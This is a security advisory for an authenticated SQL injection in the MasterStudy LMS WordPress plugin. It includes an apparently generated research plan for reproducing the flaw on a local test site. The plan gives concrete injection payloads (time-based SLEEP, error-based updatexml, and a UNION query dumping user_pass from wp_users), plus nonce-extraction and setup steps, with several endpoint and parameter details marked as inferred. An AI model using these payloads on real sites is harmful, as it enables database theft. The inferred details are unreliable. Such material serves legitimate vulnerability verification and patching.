MasterStudy LMS WordPress Plugin – for Online Courses and Education <= 3.7.29 - Authenticated (Subscriber+) SQL Injection
Description
The MasterStudy LMS WordPress Plugin – for Online Courses and Education plugin for WordPress is vulnerable to SQL Injection in versions up to, and including, 3.7.29 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with subscriber-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:NTechnical Details
<=3.7.29What Changed in the Fix
Changes introduced in v3.7.30
Source Code
WordPress.org SVNThis research plan targets **CVE-2026-42730**, a Subscriber-level SQL Injection vulnerability in the MasterStudy LMS WordPress Plugin (<= 3.7.29). ### 1. Vulnerability Summary The vulnerability exists in the AJAX handling logic of MasterStudy LMS. Authenticated users with Subscriber-level permissio…
Show full research plan
This research plan targets CVE-2026-42730, a Subscriber-level SQL Injection vulnerability in the MasterStudy LMS WordPress Plugin (<= 3.7.29).
1. Vulnerability Summary
The vulnerability exists in the AJAX handling logic of MasterStudy LMS. Authenticated users with Subscriber-level permissions can trigger specific AJAX actions that perform database queries without proper parameterization via $wpdb->prepare() or sufficient escaping. Specifically, parameters related to pagination, sorting, or filtering in the student dashboard (like "My Courses" or "My Certificates") are interpolated directly into SQL strings.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Action:
stm_lms_get_my_certificates(Inferred from_core/assets/css/account/my-certificates.cssand standard plugin patterns) orstm_lms_get_user_courses. - Vulnerable Parameter:
offsetorpage(Inferred). - Authentication: Subscriber or higher.
- Preconditions: The plugin must have its default pages generated (see
_core/libraries/compatibility/notices.php, line 58) and the user should ideally be enrolled in at least one course to ensure the query returns results.
3. Code Flow (Inferred)
- Entry Point:
wp-admin/admin-ajax.phpreceives a request withaction=stm_lms_get_my_certificates. - Hook Registration:
STM_LMS_Route::get_my_certificates(or similar) is hooked towp_ajax_stm_lms_get_my_certificates. - Input Extraction: The handler retrieves
$_POST['offset']or$_POST['page']. - Vulnerable Sink: The value is used in a query like:
$offset = $_POST['offset']; $wpdb->get_results("SELECT ... LIMIT $offset, 10"); // NO PREPARE() - Execution: The attacker appends SQL via the
offsetparameter (e.g.,0; SELECT SLEEP(5)--).
4. Nonce Acquisition Strategy
MasterStudy LMS typically localizes nonces into a JavaScript object named stm_lms_vars or stmlms_ajax_data.
- Identify Page: The Student Dashboard page (usually
/user-public-account/) contains the "My Certificates" or "Enrolled Courses" sections. - Creation: Ensure the page exists using WP-CLI:
wp post create --post_type=page --post_title="User Account" --post_name=user-public-account --post_status=publish --post_content='[stm_lms_user_account]' - Extraction:
- Navigate to the page as a Subscriber.
- Execute JS:
browser_eval("stm_lms_vars.stm_lms_get_my_certificates")orbrowser_eval("stmlms_ajax_data.nonce"). - If those fail, check
browser_eval("stm_lms_nonces").
5. Exploitation Strategy
We will use a time-based blind SQL injection payload to verify the vulnerability.
Request Details:
- URL:
http://localhost:8080/wp-admin/admin-ajax.php - Method:
POST - Content-Type:
application/x-www-form-urlencoded - Body Parameters:
action:stm_lms_get_my_certificates(orstm_lms_get_user_coursesif certificates are empty)nonce:[EXTRACTED_NONCE]offset:1 AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)
Payload Variations:
- Error-Based:
offset=1 AND updatexml(1,concat(0x7e,(user()),0x7e),1) - Union-Based: (If column count is known)
offset=1 UNION SELECT 1,2,3,user_pass,5... FROM wp_users WHERE ID=1
6. Test Data Setup
- Create Subscriber:
wp user create attacker attacker@example.com --role=subscriber --user_pass=password - Install/Activate Plugin: (Assumed pre-installed)
- Generate Pages: MasterStudy requires pages to be generated to function.
wp eval "stm_lms_generate_pages();"(Inferred function from_core/libraries/compatibility/notices.php). - Create Course & Enroll:
wp post create --post_type=stm-courses --post_title="Test Course" --post_status=publishwp eval "STM_LMS_Course::enrol_user(1, 2);"(Inferred: Post ID 1, User ID 2).
7. Expected Results
- Vulnerable Response: The HTTP request to
admin-ajax.phpwill take ~5 seconds to complete when theSLEEP(5)payload is used. - Successful Extraction: If using error-based, the response body will contain
XPATH syntax error: '~admin~'.
8. Verification Steps
- Check Logs: Verify
wp-content/debug.logifWP_DEBUGis on to see the mangled query. - Database Check: Use WP-CLI to verify the existence of the admin user we are trying to dump:
wp user get 1 --fields=user_login,user_pass - Confirm Patch: On version 3.7.30, the same request should return a standard AJAX response (likely
0or{"success":false}) without the 5-second delay.
9. Alternative Approaches
If stm_lms_get_my_certificates is not registered or protected:
- Target
stm_lms_get_user_courses: This is the most common list on the dashboard. - Target
stm_lms_course_order: Used when reordering courses on the dashboard. - Parameter Fuzzing: If
offsetis sanitized, tryorder,sort, orstatusparameters within the same AJAX actions. Many MasterStudy handlers use these to build theORDER BYclause, which is frequently unquoted.
JavaScript Variable to check for Nonces:
stm_lms_varsstmlms_ajax_datamasterstudy_lms_vars(inferred from newer versions)
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.